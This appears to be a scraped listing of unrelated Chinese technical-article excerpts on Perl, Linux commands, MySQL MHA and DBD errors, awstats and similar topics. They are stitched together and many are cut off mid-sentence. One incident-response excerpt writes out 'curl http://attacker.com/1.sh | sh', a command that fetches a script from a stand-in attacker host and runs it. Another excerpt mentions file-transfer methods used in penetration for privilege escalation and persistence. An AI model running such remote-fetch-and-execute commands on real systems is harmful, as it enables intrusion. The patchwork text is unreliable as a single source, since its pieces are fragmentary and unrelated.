第一个“#”表示是这一行是注释 第二个“!”表示这一行不是普通注释,而是解释器路径的声明行 后面的“/usr/bin/perl”是perl解释器的安装路径,也有可能是:“/usr/local/bin/perl”,如果那个不行,就换这个 use strict是严格检查语法
不必太纠结于当下,也不必太忧虑未来,当你经历过一些事情的时候,眼前的风景已经和从前不一样了。——村上春树
利用转录组数据比对到细胞器参考基因组得到vcf文件,比对工具使用GSNAP或者BWA,检测变异使用GATK或者SAMtools.
当需要一次执行多个命令的时候,可以同时输入,不同命令之间可以使用分号“;”隔开,示例如下:
注:本文仅用于知识分享,请勿用于非法攻击,任何后果与本团队无关。 01 简介 在进行Linux系统的攻击应急时,大家可能会查看pid以及/proc相关信息,比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令,通过/proc/$pid/exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?最近看了一篇@MagisterQuis写的文章https://magisterquis.githu
Linux命令中的rename命令主要用于给文件重命名,与mv命令有些类似,但rename可以对批量文件进行重命名,而mv命令则只能对单个文件重命名,下面就给大家详细介绍下Linux rename命令的使用方法吧。
linux的发行版非常多,其实本质上差别不大,哪怕是mac的OS应该是也是同样的管理操作模式。以下针对于ubuntu适用,当然ubuntu本身也有版本的区别,目前是16,我下面的操作是在12上进行的。 java1.7.0_03的安装 1、JDK官网上 http://www.oracle.com/technetwork/java/javase/downloads/index.html选择 2、将打开终端,建立目录: Sudo mkdir /usr/lib/java 3、将下载的jdk-7u3-linux-i5
电影里的黑客们聊天不想我们生活中的一样,用QQ、微信的客户端,都是通过命令行来进行聊天交流的,大概是为了提升逼格吧。
CentOS 8操作附带一个定制内核,以确保其完整性和与支持的硬件的兼容性。CentOS 8 Linux中附带的内核版本为4.18。Linux内核包括基本内核本身和许多内核模块。
今天又有小伙伴微信问我perl模块安装的问题,因为ENSEMBL发布的大多数数据库以及软件都是基于perl的,尤其是分量很重的VEP,所以即使你再如何如何的讨厌perl,也不得不与之打交道。 这种细节问题问我,我当然无法直接给出答案咯。毕竟,我的知识积累都不是靠死记硬背的。所以需要取回过头查看一下我的博客,才意识到,我竟然已经写了7篇教程,关于perl的模块。目录如下: ubuntu服务器解决方案第七讲-perl安装模块 Perl用cpan在linux上面安装模块 Perl及R及python模块碎碎念 pe
某日开发说,一台测试用虚机可以PING通SSH不能连了。运维同学就赶紧去查,SSHD_CONFIG配置文件都正确啊,一点错误都没有,那为什么呢?
ed命令是文本编辑器,用于文本编辑,ed是Linux中功能最简单的文本编辑程序,一次仅能编辑一行而非全屏幕方式的操作。ed命令并不是一个常用的命令,一般使用比较多的是vi指令,但ed文本编辑器对于编辑大文件或对于在shell脚本程序中进行文本编辑很有用。如果使用文件名参数调用ed,则文件的副本将被读入编辑器的缓冲区,对该副本进行更改,而不是直接对文件本身进行更改。退出ed后,任何未使用w命令显式保存的更改都将丢失。编辑有两种不同的模式:命令和输入。第一次调用时,ed处于命令模式,在这种模式下,命令从标准输入中读取并执行以操作编辑器缓冲区的内容。
git bash 是 Windows 用户安装 git 时默认安装的命令行工具,不仅界面漂亮功能也不错,大多数情况下可以替代 Windows 原生的 cmd 命令行.
Linux 2.6.13 内核中引入了新的文件系统变化通知机制 inotify ,使用该特性提供的用户态调用 api ,可以方便的完成文件变化监听。
在 Linux 中,你可以使用多种命令来统计文件的行数。以下是其中一些常用的命令:
搭建基于apache的nagios系统比较容易,网上的资料也比较多。可是在nginx环境下就有点费劲了,因为nginx本身不支持CGI,所以需要在三方程序的配合下,才能实现CGI的解析。
列表对 + 和 * 的操作符与字符串相似。+ 号用于组合列表,* 号用于重复列表。
目前最新版本是1.1.1,可以通过修改版本号的方式下载最新版本,最新版本可以在这个网站下载:https://www.openssl.org/source
百问网为 【百问网D1h开发板】提供了投屏功能需要使用的源码,直接git下载即可:
安装 [url]http://sourceforge.net/projects/awstats/[/url] 下载安装包后: GNU/Linux:tar zxf awstats-version.tgz awstats的脚本和静态文件缺省都在wwwroot目录下:将cgi-bin目录下的文件都部署到 cgi-bin/目录下:/home/apache/cgi-bin/awstats/ mv awstats-version/wwwroot/cgi-bin /path/to/apache/cgi-bin/awstats 把图标等文件目录复制到WEB的HTML文件发布目录下,例如:/home/apache/htdocs/ 下发布 更多的批量更新脚本等在tools 目录下,可以一并放到cgi-bin/awstats/ 目录下 升级国内主要 搜索引擎和蜘蛛定义,安装GeoIP的应用库:C [url]http://www.maxmind.com/download/geoip/api/c/[/url] 解包,编译安装 perl -MCPAN -e ‘install “Geo::IP”‘ 或者使用纯Perl包 perl -MCPAN -e ‘install “Geo::IP::PurePerl”‘ 下载GeoIP/GeoIPCityLite包:解包并部署到awstats目录下:
Linux中删除文件的命令及其示例用法 在 Linux 中删除文件,最常用的命令是 rm 命令。让我们看一些 rm 命令的例子。 [root@rumenz ~]# rm -f testfile -f在上面的命令中使用,将在不要求确认的情况下强行删除文件。 [root@rumenz ~]# rm -rf testdirectory 上述命令将删除名为 testdirectory 的目录 以及该目录中的所有内容(使用的-r选项是递归删除文件) [root@rumenz ~]# rmdir testdire
这篇文章主要介绍了 24 种编程语言的 Hello World 程序,包括熟知的 Java、C 语言、C++、C#、Ruby、Python、PHP 等编程语言,需要的朋友可以参考下。
CustomLog ” /var/log/httpd/access_log” combined
现在学的是Linux中的正则表达式,最常应用正则表达式的命令是linux三剑客:grep(egrep),sed,awk。
B. 当IIS中的ASP仅用于后台,同时使用人数较少.前台页面主要以HTML静态页面展示,ASP用来做的事情较少,本身对系统的负担很轻
最近的MHA验证时,遭遇了DBD::mysql::dr::imp_data_size unexpectedly这个错误。而DBD这个包已经是安装过了的。下面是这个问题的描述和解决方案。
Perl 是一种功能丰富的计算机程序语言,运行在超过 100 种计算机平台上,适用广泛,从大型机到便携设备,从快速原型创建到大规模可扩展开发。在生物信息分析领域,Perl 主要是做数据预处理、文本处理和格式转换、对算法效率要求不高的分析软件开发,系统管理和 pipeline 搭建等工作。这里对 Linux(主要是 CentOS)、Windows 下 Perl 的安装做一个备忘。
[root@MHA3 ~]# /usr/bin/purge_relay_logs --user=root --password=123456 -disable_relay_log_purge --port=3306 --workdir=/opt/mysql/data/ 2014-08-27 09:19:30: purge_relay_logs script started. install_driver(mysql) failed: Can't locate DBD/mysql.pm in @INC (@INC contains: /usr/lib64/perl5/site_perl/5.8.8/x86_64-linux-thread-multi /usr/lib/perl5/site_perl/5.8.8 /usr/lib/perl5/site_perl /usr/lib64/perl5/vendor_perl/5.8.8/x86_64-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.8 /usr/lib/perl5/vendor_perl /usr/lib64/perl5/5.8.8/x86_64-linux-thread-multi /usr/lib/perl5/5.8.8 .) at (eval 6) line 3. Perhaps the DBD::mysql perl module hasn't been fully installed, or perhaps the capitalisation of 'mysql' isn't right. Available drivers: DBM, ExampleP, File, Gofer, Proxy, Sponge. at /usr/bin/purge_relay_logs line 162
声明:个人觉得文章不错,所以转载过来分享以及自己收藏,只是原出处已经无法查明,只能附上我见文章的地址:
此工具要求用户 ptcheck 对所检查的库或表有读权限和对 ptcheck.checksum 有写权限 ,有在 ptcheck 库中创建表的权限
Centromics software (https://github.com/ShuaiNIEgithub/Centromics) was used to identify centromeres
1、rpm包安装的,可以用 rpm -qa 看到,如果要查找某软件包是否安装,用 rpm -qa | grep "软件或者包的名字"
既然其官网说了, Linux 是数据科学的通用语言 。为何 Nextflow 搭建的流程没有多少 Linux 的影子?
程序设计语言通常不构成安全风险,风险是由程序员带来的。几乎每种语言都有某些缺陷,这些缺陷在某种程度上可能有助于创建不安全的软件,但软件的整体安全性仍然在很大程度上取决于开发者的安全意识。Perl也有安全“陷阱”,然而大多数Perl程序员并不了解这些陷阱。
Perl是高端、通用、解释型、动态的编程语言家族。Perl借用了C、sed、awk、shell脚本、Lisp以及很多其他编程语言的特性。其中最重要的特性是Perl内部集成了正则表达式的功能,以及巨大的第三方代码库CPAN。
不过那个只是针对单个的文件,使用unlink方法就可以了(未测试过只读文件删除的情况- -!),那如果要删除指定的一个文件夹,有三种方案:
LAMP 是目前成熟的一种企业网站应用模式之一,指的是协同工作的一套系统和相关软件的整合,可提供PHP动态web站点应用及开发环境,LAMP 经过十年的完善各个组件间的兼容性,协作能力,稳定等方面也不断增强(注:Apache服务是一个静态网站,它里面的测试页都是以HTML的格式结尾,以HTML写出的网站都是静态的,没有什么功能,没有办法去关联后台的数据库,所以说他只能做一个展示的页面,LAMP构建出来就是一个动态网页的一个后台,PHP是一种动态网站开发语言,是属于高级语言,搭建LAMP就是解决PHP的页面和PHP的方案。)
数值的比较操作符其含义与使用与数学中相同,而字符串的比较操作符则会对字符串从左到右进行一一对比,参照的是字符在ASCII编码或拓展到Unicode编码中的顺序(参照sort操作符),比较操作符会返回真(true)或假(false),如下所示:
是什么区分开普通的Linux用户和超级极客的呢?很简单:用在学习那些使长时工作转变为一瞬间工作的技巧、诀窍、秘诀和技术上的时间。如果你想提高效率而又不用做这些搜集资料的跑腿活儿,那我们已经收集了50多条简单易学的Linux技巧,以帮助你更潇洒地工作,并且最大限度的利用你的电脑。开始享受吧! 1:检查不是由你运行的程序 难度:高级 应用程序:bash(译注:UNIX或者LINUX的shell) 想象下这个场景-你已经准备好了要和同事在办公室里对战一局快速的Crack Attack(译注:一款免费的OpenGL
一个操作系统,最重要的部分无疑是内核。鸿蒙系统声称自研了内核,从之前开源的 OpenHarmony OS 代码中可以看到,是一款名为 LiteOS 的面向 IoT 领域构建的轻量级物联网操作系统。LiteOS 又有两个版本:LiteOS-A 和 LiteOS-M。而 OpenHarmony OS 2.0 针对手机、平板等富资源设备,则使用的是 Linux 操作系统。
最近的MHA测试过程中,碰到了mysqlbinlog客户端的版本低于服务端版本的问题。即这个错误提示:mysqlbinlog is 3.2 (included in MySQL Client 5.0 or lower), but MySQL server version is 5.6.22-log. mysqlbinlog can not parse row based events。这个应该是个比较常见的错误。主要是由于在安装Linux期间通常在自带安装mysql相关rpm包,后来又安装了高版本的mysql而引发的一些版本问题。下面是这个问题的主要描述。
图 1. Webmin 配置屏幕 用户也可以使用 Webmin有一个图标用来配置可选的 Usermin 软件包,这个软件包提供了一个基于 Web 的工具,用户可以借助它完成修改密码、管理系统邮件等任务。使用 Usermin 不能访问系统配置文件。Usermin 和 Webmin 都将是免费的产品。 System 窗体可以进行操作系统的总体配置。在这里,您可以配置文件系统、用户、组和系统通常的引导行为。您可以控制系统中运行的服务,通过选择 Bootup 和 Shutdown 图标来决定它们是否自动启动。不过,对那些服务的具体配置是由 Servers 窗体完成的。尤其要注意“Software Package”工具,它可以方便地查看您系统中已经安装的软件包,以及到发行版本升级库和 rpmfind.net 的接口,rpmfind.net 是 Internet 上的一个公用的 RPM 库。 Servers 窗体可以对您可能会在系统中运行的各个服务进行配置。BIND 和 DHCP 工具非常便捷。同时 Samba 工具也很好用,可以为 Windows 和其他客户机配置文件和打印机的共享。SMTP 服务器 Sendmail 以其极复杂的配置文件而出名。Webmin Sendmail 工具同样为您解决了这一问题。
其中star比对过程已经是超级简单了,但是perl脚本就比较麻烦,因为perl本身是上古语言,STAR-Fusion 这个perl脚本依赖的环境会难倒很多人,如下所示的代码架构:
在渗透过程中,通常会需要向目标主机传送一些文件,来达到权限提升、权限维持等目的,本篇文章主要介绍一些windows和Linux下常用的文件下载方式。
下载: http://mirrors.kernel.org/gnu/m4/m4-1.4.13.tar.gz 拷贝到centos系统上,并解压:
Perl 是 Practical Extraction and Report Language 的缩写”实用报表提取语言”是一种功能强大功能丰富的脚本编程语言,最初的设计者为拉里·沃尔(Larry Wall)诞生于20世纪80年代末期并由他不断更新和维护的编程语言。
3:安装perl(perl在linux下可以理解为增强版本的shell,是一种脚本语言,具有程序结构,很多内建功能,也方便调用其它程序)在安装perl的同时,最好把 cpan 也同时安装一下。
安装好了mysql监控神器innotop,正得意,innotoop不可用,其错误提示为install_driver(mysql) failed: Can't load '/usr/lib64/perl5/vendor_perl/5.8.8/x86_64-linux-thread-multi/auto/DBD/mysql/mysql.so' for module DBD::mysql: libmysqlclient.so.15: cannot open shared object file:...经查原有又是DBD惹的祸,这个问题已经发生过好几次了。 1、故障现象 [root@dbsrv1 ~]# cat /etc/issue CentOS release 5.11 (Final) Kernel \r on an \m [root@dbsrv1 ~]# innotop localhost PROCESSLIST_NO_IS: install_driver(mysql) failed: Can't load '/usr/lib64/perl5/vendor_perl/5.8.8/x86_64-linux-thread-multi/auto/DBD/mysql/mysql.so' for module DBD::mysql: libmysqlclient.so.15: cannot open shared object file: No such file or directory at /usr/lib64/perl5/5.8.8/x86_64-linux-thread-multi/DynaLoader.pm line 230. at (eval 504) line 3 Compilation failed in require at (eval 504) line 3. Perhaps a required shared library or dll isn't installed where expected at /usr/bin/innotop line 7601 2、安装perl-DBD-MySQL [root@dbsrv1 ~]# yum install perl-DBD-MySQL Loaded plugins: fastestmirror, security Repository base is listed more than once in the configuration Repository updates is listed more than once in the configuration Repository extras is listed more than once in the configuration Repository centosplus is listed more than once in the configuration Repository contrib is listed more than once in the configuration Loading mirror speeds from cached hostfile * base: mirrors.163.com * epel: mirrors.ustc.edu.cn * extras: mirrors.skyshe.cn * updates: mirrors.pubyun.com Setting up Install Process Package perl-DBD-MySQL-3.0007-2.el5.x86_64 already installed and latest version Nothing to do ###上面描述已经perl-DBD-MySQL已经安装,且为最新的版本 [root@dbsrv1 yum.repos.d]# rpm -qa |grep -i dbd perl-DBD-MySQL-3.0007-2.el5 ###首先先卸载perl-DBD-MySQL,然后再次使用yum安装 [root@dbsrv1 yum.repos.d]# rpm -e --nodeps perl-DBD-MySQL-3.0007-2.el5 [root@dbsrv1 yum.repos.d]# rpm -qa |grep -i dbd [root@dbsrv1 yum.repos.d]# yum install perl-DBD-MySQL Loaded plugins: fastestmirror, security Repository base is listed more than once in the configuration Reposit
BPF 是近年来Linux 系统技术领域一个巨大的创新。作为 Linux 内核的一个关键发展节点,其重要程度不亚于虚拟化、容器、SDN 等技术。
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